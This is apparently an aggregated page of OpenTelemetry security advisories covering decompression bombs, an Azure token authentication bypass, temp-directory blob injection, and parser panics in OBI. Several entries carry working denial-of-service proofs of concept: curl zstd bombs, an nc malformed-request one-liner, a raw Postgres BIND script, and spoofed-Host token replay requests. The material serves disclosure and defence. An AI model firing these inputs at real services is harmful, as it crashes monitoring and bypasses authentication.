See how opentelemetry compares to other vendors in security performance
OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From 0.4.0 to before 0.8.0, a flaw in the Java agent injection path allows a local attacker controlling a Java workload to overwrite arbitrary host files when Java injection is enabled and OBI is running with elevated privileges. The injector trusted TMPDIR from the target process and used unsafe file creation semantics, enabling both filesystem boundary escape and symlink-based file clobbering. This vulnerability is fixed in 0.8.0.
Summary An unsafe decompression vulnerability allows unauthenticated attackers to crash the collector via excessive memory consumption.
Details The OpenTelemetry Collector handles compressed HTTP requests by recognizing the Content-Encoding header, rewriting the HTTP request body, and allowing subsequent handlers to process decompressed data. It supports the gzip, zstd, zlib, snappy, and deflate compression algorithms. A "zip bomb" or "decompression bomb" is a malicious archive designed to crash or disable the system reading it. Decompression of HTTP requests is typically not enabled by default in popular server solutions due to associated security risks. A malicious attacker could leverage this weakness to crash the collector by sending a small request that, when uncompressed by the server, results in excessive memory consumption.
During proof-of-concept (PoC) testing, all supported compression algorithms could be abused, with zstd causing the most significant impact. Compressing 10GB of all-zero data reduced it to 329KB. Sending an HTTP request with this compressed data instantly consumed all available server memory (the testing server had 32GB), leading to an out-of-memory (OOM) kill of the collector application instance.
The root cause for this issue can be found in the following code path:
Affected File: [https://github.com/open-telemetry/opentelemetry-collector/[...]confighttp/compression.go](https://github.com/open-telemetry/opentelemetry-collector/blob/062d0a7ffcd45831f993d21d1c6fb67d3e74b5e2/config/confighttp/compression.go)
Affected Code: // httpContentDecompressor offloads the task of handling compressed HTTP requests // by identifying the compression format in the "Content-Encoding" header and re-writing // request body so that the handlers further in the chain can work on decompressed data. // It supports gzip and deflate/zlib compression. func httpContentDecompressor(h http.Handler, eh func(w http.ResponseWriter, r http.Request, errorMsg string, statusCode int), decoders map[string]func(body io.ReadCloser) (io.ReadCloser, error)) http.Handler { [...] d := &decompressor{ errHandler: errHandler, base: h, decoders: map[string]func(body io.ReadCloser) (io.ReadCloser, error){ "": func(io.ReadCloser) (io.ReadCloser, error) { // Not a compressed payload. Nothing to do. return nil, nil }, [...] "zstd": func(body io.ReadCloser) (io.ReadCloser, error) { zr, err := zstd.NewReader( body, zstd.WithDecoderConcurrency(1), ) if err != nil { return nil, err } return zr.IOReadCloser(), nil }, [...] }
func (d decompressor) ServeHTTP(w http.ResponseWriter, r http.Request) { newBody, err := d.newBodyReader(r) if err != nil { d.errHandler(w, r, err.Error(), http.StatusBadRequest) return } [...] d.base.ServeHTTP(w, r) }
func (d decompressor) newBodyReader(r http.Request) (io.ReadCloser, error) { encoding := r.Header.Get(headerContentEncoding) decoder, ok := d.decoders[encoding] if !ok { return nil, fmt.Errorf("unsupported %s: %s", headerContentEncoding, encoding) } return decoder(r.Body) }
To mitigate this attack vector, it is recommended to either disable support for decompressing client HTTP requests entirely or limit the size of the decompressed data that can be processed. Limiting the decompressed data size can be achieved by wrapping the decompressed data reader inside an io.LimitedReader, which restricts the reading to a specified number of bytes. This approach helps prevent excessive memory usage and potential out-of-memory errors caused by decompression bombs.
PoC This issue was confirmed as follows:
PoC Commands: dd if=/dev/zero bs=1G count=10 | zstd > poc.zst curl -vv "http://192.168.0.107:4318/v1/traces" -H "Content-Type: application/x-protobuf" -H "Content-Encoding: zstd" --data-binary @poc.zst
Output: 10+0 records in 10+0 records out 10737418240 bytes (11 GB, 10 GiB) copied, 12,207 s, 880 MB/s
processing: http://192.168.0.107:4318/v1/traces Trying 192.168.0.107:4318... Connected to 192.168.0.107 (192.168.0.107) port 4318 POST /v1/traces HTTP/1.1 Host: 192.168.0.107:4318 User-Agent: curl/8.2.1 Accept: / Content-Type: application/x-protobuf Content-Encoding: zstd Content-Length: 336655 We are completely uploaded and fine Recv failure: Connection reset by peer Closing connection curl: (56) Recv failure: Connection reset by peer
Server logs: otel-collector-1 | 2024-05-30T18:36:14.376Z info service@v0.101.0/service.go:102 Setting up own telemetry... [...] otel-collector-1 | 2024-05-30T18:36:14.385Z info otlpreceiver@v0.101.0/otlp.go:152 Starting HTTP server {"kind": "receiver", "name": "otlp", "datatype": "traces", "endpoint": "0.0.0.0:4318"} otel-collector-1 | 2024-05-30T18:36:14.385Z info service@v0.101.0/service.go:195 Everything is ready. Begin running and processing data. otel-collector-1 | 2024-05-30T18:36:14.385Z warn localhostgate/featuregate.go:63 The default endpoints for all servers in components will change to use localhost instead of 0.0.0.0 in a future version. Use the feature gate to preview the new default. {"feature gate ID": "component.UseLocalHostAsDefaultHost"} otel-collector-1 exited with code 137
A similar problem exists for configgrpc when using the zstd compression:
dd if=/dev/zero bs=1G count=10 | zstd > poc.zst python3 -c 'import os, struct; f = open("/tmp/body.raw", "w+b"); f.write(b"\x01"); f.write(struct.pack(">L", os.path.getsize("poc.zst"))); f.write(open("poc.zst", "rb").read())' curl -vv http://127.0.0.1:4317/opentelemetry.proto.collector.trace.v1.TraceService/Export --http2-prior-knowledge -H "content-type: application/grpc" -H "grpc-encoding: zstd" --data-binary @/tmp/body.raw
Impact Unauthenticated attackers can crash the collector via excessive memory consumption, stopping the entire collection of telemetry.
Patches - The confighttp module version 0.102.0 contains a fix for this problem. - The configgrpc module version 0.102.1 contains a fix for this problem. - All official OTel Collector distributions starting with v0.102.1 contain both fixes.
Workarounds - None.
References - https://github.com/open-telemetry/opentelemetry-collector/pull/10289 - https://github.com/open-telemetry/opentelemetry-collector/pull/10323 - https://opentelemetry.io/blog/2024/cve-2024-36129/
Credits This issue was uncovered during a security audit performed by 7ASecurity, facilitated by OSTIF, for the OpenTelemetry project.
Summary
A server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azureauth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).
Severity: High (CVSS 8.1). See "Threat model" below for the preconditions that inform that score.
Root cause
The extension implements both extensionauth.HTTPClient (outbound: "attach my identity to requests I send") and extensionauth.Server (inbound: "validate a credential someone presented to me"). Those two interfaces look symmetric but are not: holding a credential to present says nothing about the ability to validate a credential someone else presents. The outbound path only requires credential.GetToken(); the inbound path requires JWT signature verification against the issuer's JWKS, issuer/audience/exp/nbf checks, and an algorithm allowlist — none of which the extension does.
PR #39178 ("Implement extensionauth.HTTPClient and extensionauth.Server interface functions") added the Server path in v0.124.0 by reusing the same credential object and comparing strings. That server-side path is present in every release through v0.150.0. The outbound HTTPClient path (used by Azure exporters) is unaffected.
Details
Vulnerable code — extension/azureauthextension/extension.go:208–235:
go func (a authenticator) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) { auth, err := getHeaderValue("Authorization", headers) if err != nil { return ctx, err } host, err := getHeaderValue("Host", headers) if err != nil { return ctx, err }
authFormat := strings.Split(auth, " ") if len(authFormat) != 2 { / ... / } if authFormat[0] != "Bearer" { / ... / }
token, err := a.getTokenForHost(ctx, host) // asks the collector's own identity if err != nil { return ctx, err } if authFormat[1] != token { // string comparison, not JWT validation return ctx, errors.New("unauthorized: invalid token") } return ctx, nil }
And getTokenForHost at extension.go:187–206:
go options := policy.TokenRequestOptions{ Scopes: []string{ fmt.Sprintf("https://%s/.default", host), // client-supplied Host chooses scope }, }
Two independent problems compose here:
1. No JWT validation. Real Entra ID bearer validation requires verifying the JWT signature against the tenant JWKS and checking iss, aud, exp, nbf, plus an algorithm allowlist. The extension does none of this. The "expected" value is a token the server mints from its own credential, not a signature to verify. Any party that already holds a valid token for the collector's identity — a co-tenant pod that shares the managed identity, any peer authenticated with the same service principal, any component that retained an Authorization: header — can replay it directly.
2. Attacker-controlled audience. The scope used to mint the "expected" token comes from the client-supplied Host header: https://<Host>/.default. The azcore credential returns a consistent token per (identity, scope) pair within the cache window, so an attacker can pick any scope the SP has been issued a token for and match it by setting Host accordingly. This is the sharper of the two flaws: it means a token leaked from an unrelated Azure integration — ARM, Graph, Key Vault, a different Storage account — authenticates to the collector.
The correct primitive is a real JWT validator — e.g. github.com/coreos/go-oidc/v3 pointed at the tenant's discovery endpoint, with audience and issuer pinned server-side from configuration, never derived from request headers.
Proof of concept
Both variants assume a collector running with azureauthextension v0.124.0–v0.150.0, configured with any credential mode and referenced from a receiver's auth: block:
yaml extensions: azureauth: managedidentity: clientid: ${CLIENTID}
receivers: otlp: protocols: http: endpoint: 0.0.0.0:4318 auth: authenticator: azureauth
service: extensions: [azureauth] pipelines: traces: receivers: [otlp] exporters: [debug]
Variant A — Replay (same scope)
The attacker controls a workload that shares the collector's managed identity (common in AKS when multiple pods bind the same UAMI). Both workloads query IMDS for https://management.azure.com/.default and receive the same cached token. The attacker replays:
POST /v1/traces HTTP/1.1 Host: management.azure.com Authorization: Bearer eyJ... # token minted for management.azure.com Content-Type: application/json
{"resourceSpans":[...]}
Authenticate calls getTokenForHost(ctx, "management.azure.com"), receives the identical cached token, and the string comparison passes.
Variant B — Scope confusion (the stronger case)
The attacker holds a token for the SP issued for a different Azure resource — say Key Vault, obtained from an entirely unrelated integration. The collector was never intended to accept Key Vault tokens. The attacker sets Host to match:
POST /v1/traces HTTP/1.1 Host: vault.azure.net Authorization: Bearer eyJ... # token minted for vault.azure.net Content-Type: application/json
{"resourceSpans":[...]}
Authenticate calls getTokenForHost(ctx, "vault.azure.net"). The collector's credential mints (or returns cached) a token for https://vault.azure.net/.default — the same token the attacker holds, because both come from the same SP issued for the same scope by the same IdP. Comparison passes. The collector accepts telemetry gated on "proof of identity to Key Vault."
In a correct implementation, the JWT's aud would be pinned server-side to a value unrelated to Host, and Variant B would fail regardless of what the attacker put in the Host header.
A small Go reproducer can be built around the extension's own test harness: the existing TestAuthenticate in extensiontest.go is effectively a demonstration of the broken behavior — it passes when the client-supplied token equals the server-side token for the given Host, which is exactly what an attacker arranges.
Impact
Vulnerability class: Improper Authentication (CWE-287), with contributing CWE-347 (Improper Verification of Cryptographic Signature — no JWT validation), CWE-294 (Authentication Bypass by Capture-replay — tokens replayable for full TTL), and CWE-290 (Authentication Bypass by Spoofing — client Host header chooses the expected scope).
Threat model / precondition. The attacker needs to already hold (or be able to obtain) a valid Azure access token issued to the collector's SP for any scope. In practice this is satisfied by: (a) controlling another workload that binds the same managed identity, (b) compromising any peer authenticated with the same SP, or (c) observing an Authorization: header from any prior legitimate request for the SP. This is what drives the 8.1 score — the precondition is non-trivial but is routine in multi-workload Azure environments.
Who is impacted. Any operator of opentelemetry-collector-contrib v0.124.0 through v0.150.0 who configured azureauthextension on a receiver's auth: block. This applies to both HTTP and gRPC receivers — gRPC receivers surface :authority as Host through the collector's header handling, so the same exploit path applies there.
Deployments most at risk: - Multi-workload Azure environments where the collector shares a managed identity with other workloads (any such workload can authenticate as an arbitrary telemetry source). - Deployments that forward Authorization: headers through proxies, service meshes, or logging pipelines (one leaked token is enough, and persists for the token TTL — typically several hours for MI tokens, not the 60-minute user-token window). - Multi-tenant environments where different customers' telemetry converges at a collector protected by this extension.
Consequences. Unauthenticated (from the collector's perspective) ingest of arbitrary traces, metrics, and logs. Downstream effects depend on the collector's exporters and include telemetry-backend poisoning, log injection (masking real attacker activity in SIEMs), metric manipulation to trigger or suppress alerts, cost-amplification against pay-per-datapoint backends, and adversarial traces that corrupt service-graph and incident-triage signals.
Not impacted. The extension's outbound extensionauth.HTTPClient path, used by Azure exporters, is unaffected. Operators who use azureauthextension only on exporters can continue doing so.
Mitigation
Until a patched release is available, remove azureauth from any receiver auth: blocks. For genuine Entra ID JWT validation on OTLP receivers, use oidcauthextension pointed at the tenant discovery URL, with audience pinned from configuration:
yaml extensions: oidc: issuerurl: https://login.microsoftonline.com/<tenant-id>/v2.0 audience: <expected-api-audience>
Resources
- PR introducing the vulnerable server-side path: #39178 - Affected versions: v0.124.0 – v0.150.0
Assisted-by: Opus 4.7
Summary
The OTLP disk retry feature in OpenTelemetry.Exporter.OpenTelemetryProtocol silently fell back to Path.GetTempPath() when OTELDOTNETEXPERIMENTALOTLPRETRY=disk was set but OTELDOTNETEXPERIMENTALOTLPDISKRETRYDIRECTORYPATH was not configured.
The exporter stored and loaded .blob files under fixed, signal-named subdirectories (traces, metrics, logs) beneath that shared temporary root path.
On multi-user systems where the temporary directory is accessible to other local accounts, this exposed three attack surfaces:
- Blob injection (integrity): an attacker could write crafted .blob files into the predictable path; the exporter picks them up on the next retry cycle and forwards them to the configured OTLP endpoint under the application's identity. - Telemetry disclosure (confidentiality): an attacker reads .blob files written by the application between export failures, recovering encoded telemetry payloads (spans, metric data points, log records). - Resource exhaustion (availability): an attacker deposits numerous or oversized blob files, degrading retry-loop performance or consuming disk space.
Details
Preconditions
1. OTELDOTNETEXPERIMENTALOTLPRETRY is set to disk. 2. OTELDOTNETEXPERIMENTALOTLPDISKRETRYDIRECTORYPATH is not set, causing the exporter to resolve the blob storage root using the System.IO.Path.GetTempPath() API. 3. A local attacker has read or write access to the process' temporary directory (e.g., /tmp on Linux, or %TEMP% on a multi-user Windows installation).
Exploit path
1. A target application starts with OTELDOTNETEXPERIMENTALOTLPRETRY=disk and no explicit blob directory. The exporter resolves the storage root to Path.GetTempPath(), producing paths such as %TEMP%\traces, %TEMP%\metrics, and %TEMP%\logs (or /tmp/traces etc. on Linux). 2. Injection scenario: before or during the application's retry window, an attacker writes crafted .blob files into one of those signal subdirectories. On the next retry interval (by default every 60 seconds), OtlpExporterPersistentStorageTransmissionHandler scans the directory, loads the attacker-supplied blobs, and forwards them to the configured OTLP endpoint using the application's identity and transport credentials. 3. Disclosure scenario: the attacker reads .blob files that the application wrote after a transient export failure, recovering the full serialized telemetry payloads (spans, metric data points, or log records in Protobuf encoding). 5. DoS scenario: the attacker deposits a large number of oversized blob files in the temporary subdirectories, causing the retry loop to consume excess CPU/IO processing them, potentially exhausting available disk space.
Mitigations
If an immediate upgrade to a patched version is not possible:
1. Avoid enabling disk retry in shared environments. 2. Configure a dedicated directory with strict ACL/ownership and least privilege. 3. Ensure the directory is not shared across tenants/users. 4. Monitor for unexpected .blob files or abnormal retry backlog growth.
Resources
- #7106
Impact What kind of vulnerability is it? Who is impacted?
A vulnerability in OpenTelemetry.Api package 1.10.0 to 1.11.1 could cause a Denial of Service (DoS) when a tracestate and traceparent header is received.
Even if an application does not explicitly use trace context propagation, receiving these headers can still trigger high CPU usage. This issue impacts any application accessible over the web or backend services that process HTTP requests containing a tracestate header. Application may experience excessive resource consumption, leading to increased latency, degraded performance, or downtime.
Patches Has the problem been patched? What versions should users upgrade to?
This issue has been <strong data-start="1143" data-end="1184">resolved in OpenTelemetry.Api 1.11.2</strong> by <strong data-start="1188" data-end="1212">reverting the change</strong> that introduced the problematic behavior in versions <strong data-start="1266" data-end="1286">1.10.0 to 1.11.1</strong>.</li><li data-start="1290" data-end="1409">The fix ensures that <strong data-start="1313" data-end="1380">valid tracing headers no longer cause excessive CPU consumption</strong> when received in requests.</li></ul><h4 data-start="1411" data-end="1434"><strong data-start="1416" data-end="1434">Fixed Version:</strong></h4> OpenTelemetry .NET Version | Status -- | -- <= 1.9.x | ✅ Not affected 1.10.0 - 1.11.1 | ❌ Vulnerable 1.11.2 (Fixed) | ✅ Safe to use
Upgrade Command:
dotnet add package OpenTelemetry --version 1.11.2
Delisting of Affected Packages To prevent accidental usage, we have delisted the affected versions (1.10.0 to 1.11.1) from NuGet. Users should avoid these versions and upgrade to 1.11.2 immediately.
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?
References Are there any links users can visit to find out more?
multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
- repository: https://github.com/open-telemetry/opentelemetry-go - pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage) attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical: perreqallocbytes=10315458 and p95ms=7 - control: perreqallocbytes=133429 and p95ms=0
proof of concept
canonical:
bash mkdir -p poc unzip poc.zip -d poc cd poc make test
output (excerpt):
[CALLSITEHIT]: propagation/baggage.go:58 extractMultiBaggage [PROOFMARKER]: baggagemultivalueamplification p95ms=7 perreqallocbytes=10315458 perreqallocs=16165
control:
bash cd poc make control
control output (excerpt):
[NCMARKER]: baggagesinglevaluebaseline p95ms=0 perreqallocbytes=133429 perreqallocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget. actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for perreqallocbytes and perreqallocs, and p95ms stays below 2ms.
poc.zip PRDESCRIPTION.md
Summary
When receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response.
Details
#2926 introduced the initial HTTP transport components which uses ReadAsByteArrayAsync to copy the HttpResponseMessage.Content into a byte array. This code path allows an unbounded read of the entire HTTP response message.
Impact
If an application using the OpAMP client is configured to use an OpAMP server that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response, the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured OpAMP server needs to behave maliciously. If the OpAMP server is a well-behaved implementation, response bodies should not be excessively large.
Workarounds
None known.
Remediation
#4116 updates the OpAMP client HTTP transport to limit the maximum size of responses to 128KB.
Resources
- #2926 - #4116 - CWE-789
Summary
A single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default 0.0.0.0:9464) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught TypeError that terminates the process.
You are affected by this vulnerability if either of the following apply to your application:
you directly use @opentelemetry/exporter-prometheus in your code through its built-in server. your OTELMETRICSEXPORTER environment variable includes prometheus AND you use @opentelemetry/sdk-node you use @opentelemetry/auto-instrumentations-node via --require @opentelemetry/auto-instrumentations-node/register/--import @opentelemetry/auto-instrumentations-node/register
Impact
Denial of service. Any application using the OpenTelemetry Prometheus exporter’s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required.
Remediation
Update to the fixed version
Update @opentelemetry/exporter-prometheus and @opentelemetry/sdk-node to version 0.217.0 or later. Update @opentelemetry/auto-instrumentations-node to version 0.75.0 or later.
This release adds proper error handling around the URL constructor, returning an HTTP 400 response on parse failure rather than allowing the exception to propagate and crash the process.
npm install @opentelemetry/exporter-prometheus@latest
Do Not Expose the Endpoint to Untrusted Users
[!IMPORTANT] The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that can reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to 0.217.0 is the recommended resolution.
If updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example:
Bind to localhost only by setting the host option to 127.0.0.1 when configuring the PrometheusExporter, so the port is not exposed on public or shared network interfaces
Use a firewall or network policy to restrict access to port 9464 (or whichever port you have configured) to only trusted Prometheus scrape hosts
Place the endpoint behind a reverse proxy that filters or validates incoming requests before they reach the exporter
Details
In PrometheusExporter.ts, the requestHandler calls new URL(request.url, this.baseUrl) without any error handling. Node's HTTP parser accepts absolute-form URIs (e.g. http://) for proxy compatibility, including malformed ones. When request.url is "http://", the URL constructor throws TypeError: Invalid URL. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process.
The Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to 0.0.0.0 by default, meaning it is reachable by any network client that can connect to the metrics port.
Proof of Concept
Start any Node.js application with the Prometheus exporter running on the default port 9464, then send a single raw TCP packet:
echo -ne 'GET http:// HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 9464
The process crashes immediately with:
TypeError: Invalid URL at new URL (...) at PrometheusExporter.requestHandler (...)
Summary
The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.
Details
The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.
There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.
PoC
Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start a local Postgres instance and OBI:
bash docker run --rm -e POSTGRESPASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi
Send a malformed BIND frame with an empty payload:
python save as /tmp/pg-bind-poc.py import socket, struct
tag = b'B' length = struct.pack(">I", 4) payload = b""
s = socket.createconnection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close()
Run it:
bash python3 /tmp/pg-bind-poc.py
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
Summary
OBI replays BPF probe hits into histogram observations by looping once per recorded run count. On busy systems, the run-count delta can become very large, causing the metrics exporter to spend excessive CPU time in a tight loop every collection interval.
Details
The vulnerable loop is in pkg/export/prom/prombpf.go. During each metrics tick, OBI iterates through probeMetrics and then executes for range metric.count, invoking BpfProbeLatency(...) for each individual recorded hit.
The count comes from calculateStats() in the same file, where deltaCount := bp.runCount - bp.prevRunCount is calculated and returned without any cap before the per-hit replay loop.
If probe activity spikes between scrape intervals, deltaCount can be very large. The exporter then spends CPU time proportional to the number of probe hits rather than the number of metric series.
PoC
Local testing with a small reproducer confirmed the replay-loop behavior and showed CPU scaling with the recorded hit count rather than the number of metric series.
Use a vulnerable build and enable internal metrics export:
bash git checkout v0.0.0-rc.1+build make build export OTELEBPFINTERNALMETRICSPROMETHEUSPORT=9090 sudo ./bin/obi
Create a high-rate workload that repeatedly exercises traced probes. For example, generate HTTP traffic against an instrumented service:
bash python3 -m http.server 18081
Then drive it:
bash seq 1 500000 | xargs -P 128 -I{} curl -s http://127.0.0.1:18081 >/dev/null
At the same time, scrape metrics repeatedly:
bash while true; do curl -s http://127.0.0.1:9090/metrics >/dev/null; done
On a vulnerable build, OBI CPU consumption rises sharply during the metrics loop because histogram updates are replayed once per counted probe execution. The effect is visible in top or pidstat and is most pronounced under sustained high request volume.
Impact
This is an availability issue in the internal metrics path. Any deployment that enables BPF internal metrics and traces busy workloads is affected. Attackers can indirectly consume CPU in the privileged agent by driving enough activity through instrumented services.
Summary
Malformed MongoDB wire messages can trigger uncaught panics in the MongoDB TCP parser, allowing a remote unauthenticated attacker to crash the telemetry agent and cause a denial of service. The parser operates on raw attacker-controlled network payloads before the input is fully validated, so a single crafted message can terminate telemetry collection for the affected process or node.
Details
MongoDB parsing support was introduced by commit 2070f568a (Add Initial support for mongodb), so the explicit released version minimum affected is v0.1.0.
There are two related panic conditions in released go.opentelemetry.io/obi versions:
- In v0.1.0 through v0.3.0, parseOpMessage reads OPMSG flag bits from buf[msgHeaderSize:msgHeaderSize+int32Size] without first ensuring the buffer is at least msgHeaderSize + int32Size bytes long. A truncated OPMSG packet can therefore trigger a slice-bounds panic before the parser returns an error. - In v0.1.0 through v0.3.0, parseSections consumes the section type byte and then reads the document-sequence length from buf[offSet:offSet+int32Size] without re-validating that enough bytes remain after the type byte. A malformed document-sequence section can therefore trigger another slice-bounds panic. - In v0.1.0 through v0.8.0, parseFirstField assumes the collection name for collection-scoped commands is always a string and performs an unchecked type assertion on field.Value. A malformed BSON document can therefore trigger a runtime panic with interface conversion instead of returning a parse error.
The bounds-check panic was fixed by commit 3aa58cdaaa97fbb72f8ef4c3609ae425aacaf8bb (Fix MongoDB client panic), which first appears in release v0.4.0. The unchecked BSON type assertion is still present in v0.8.0.
Because this code runs while decoding attacker-controlled MongoDB traffic, the failure mode is process termination rather than graceful rejection of invalid input. In deployments where the telemetry agent monitors traffic from untrusted or partially trusted clients, a single malformed packet can terminate collection until the agent is restarted.
Affected code paths are in pkg/ebpf/common/mongodetecttransform.go and correspond to parseOpMessage, parseSections, and parseFirstField.
PoC
The following reproductions are fully self-contained. They create a temporary test file inside an affected checkout and then run go test against the real parser code in the repository.
1. Reproduce the v0.1.0 through v0.3.0 bounds-check panics:
bash git clone https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git obi-poc cd obi-poc git checkout v0.3.0
cat > pkg/ebpf/common/mongosecuritypoctest.go <<'EOF' package ebpfcommon
import "testing"
func TestSecurityPoCParseOpMessageShortPanics(t testing.T) { parseOpMessage(make([]byte, 16), 0, false, nil) }
func TestSecurityPoCParseSectionsShortDocSequencePanics(t testing.T) { parseSections([]byte{byte(sectionTypeDocumentSequence), 0x01, 0x02, 0x03}) } EOF
go test ./pkg/ebpf/common -run 'TestSecurityPoCParseOpMessageShortPanics|TestSecurityPoCParseSectionsShortDocSequencePanics' -count=1
Expected result:
- TestSecurityPoCParseOpMessageShortPanics panics with a message similar to slice bounds out of range [:20] with capacity 16 - TestSecurityPoCParseSectionsShortDocSequencePanics panics with a message similar to slice bounds out of range [:5] with capacity 4
1. Reproduce the v0.1.0 through v0.8.0 unchecked BSON type-assertion panic:
bash git clone https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git obi-poc cd obi-poc git checkout v0.8.0
cat > pkg/ebpf/common/mongosecuritypoctest.go <<'EOF' package ebpfcommon
import ( "testing"
"go.mongodb.org/mongo-driver/v2/bson" )
func TestSecurityPoCParseFirstFieldTypeAssertionPanics(t testing.T) { parseFirstField(bson.E{Key: commFind, Value: int32(123)}) } EOF
go test ./pkg/ebpf/common -run TestSecurityPoCParseFirstFieldTypeAssertionPanics -count=1
Expected result: panic with a message similar to interface conversion: interface {} is int32, not string.
Impact
This is a remote denial-of-service vulnerability in the MongoDB protocol parser. Any deployment that enables MongoDB parsing and processes attacker-controlled or malformed MongoDB traffic is impacted. Successful exploitation lets an unauthenticated attacker crash the telemetry agent by sending a crafted OPMSG packet or malformed BSON document, causing loss of observability until the process is restarted.
Summary
A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.
Details
The issue is in the memcached request parser at pkg/ebpf/common/memcacheddetecttransform.go.
memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:
go size, err := strconv.Atoi(string(fields[4])) if err != nil || size < 0 { return 0, false }
Because there is no upper bound check, values up to math.MaxInt are accepted.
memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:
go payloadLen := bytesField + len(memcachedDelimBytes) payload, err := r.Peek(payloadLen)
If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.
That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/largebuffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:
go if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) { return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil }
With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.
Affected logic identified by the scan:
- pkg/ebpf/common/memcacheddetecttransform.go:322 - pkg/ebpf/common/memcacheddetecttransform.go:386 - pkg/internal/largebuf/largebuffer.go:501
PoC
The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.
1. From the repository root, start the checked-in memcached environment:
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ up --build
This starts:
- memcached on port 11211 - testserver, the Python app in internal/test/integration/components/pythonmemcached/main.py - autoinstrumenter, the OBI process launched with --config=/configs/instrumenter-config-traces.yml
The relevant repo-local files are:
- internal/test/oats/memcached/docker-compose-obi-python-memcached.yml - internal/test/oats/memcached/configs/instrumenter-config-traces.yml
2. In a second shell, confirm the environment is working:
bash curl http://127.0.0.1:8080/memcached
